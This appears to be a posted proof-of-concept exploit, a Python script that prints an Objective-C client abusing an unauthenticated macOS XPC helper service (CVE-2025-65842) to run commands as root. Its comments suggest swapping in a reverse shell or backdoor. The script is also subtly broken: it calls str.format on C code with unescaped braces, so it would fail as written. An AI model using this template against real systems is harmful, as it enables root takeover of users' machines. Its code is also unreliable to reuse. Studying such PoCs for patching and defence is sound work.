CVE-2025-65842 Aquarius HelperTool本地权限提升漏洞

#!/usr/bin/env python3 """ CVE-2025-65842 PoC - Aquarius HelperTool Local Privilege Escalation Note: This is a proof-of-concept demonstrating the vulnerability concept. Use only in authorized testing environments. """ import subprocess import os def exploit_cve_2025_65842(): """ Exploit the Aquarius HelperTool XPC service vulnerability. The service does not validate XPC client identity and has flawed authorization logic that allows arbitrary command execution as root. """ # Malicious command to be executed with root privileges # In a real attack, this could be: reverse shell, backdoor, etc. malicious_command = "/bin/bash -c 'echo root:0 >> /tmp/pwned && chmod 777 /tmp/pwned'" # XPC connection to the vulnerable service # The service accepts connections from any process without validation xpc_service = "com.aquarius.helpertool" print(f"[*] Attempting to connect to vulnerable XPC service: {xpc_service}") print(f"[*] Sending malicious command: {malicious_command}") # Since this is macOS-specific and requires Objective-C/Swift XPC APIs, # here's the conceptual XPC client code: xpc_client_code = ''' #import <Foundation/Foundation.h> #import <xpc/xpc.h> int main() { xpc_connection_t conn = xpc_connection_create_mach_service( "com.aquarius.helpertool", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED ); xpc_connection_set_event_handler(conn, ^(xpc_object_t event) { // Handle connection events }); xpc_connection_resume(conn); // Create malicious message - service doesn't validate sender xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0); xpc_dictionary_set_string(msg, "command", "{malicious_command}"); // Send message - authorization check bypassed due to NULL reference xpc_connection_send_message(conn, msg); return 0; } '''.format(malicious_command=malicious_command) print("\n[!] XPC Client Code (requires compilation on macOS):") print(xpc_client_code) # For demonstration, show what would happen print(f"\n[+] If vulnerable, the following command would execute as root:") print(f" {malicious_command}") return True if __name__ == "__main__": print("="*60) print("CVE-2025-65842 PoC - Aquarius HelperTool LPE") print("="*60) exploit_cve_2025_65842()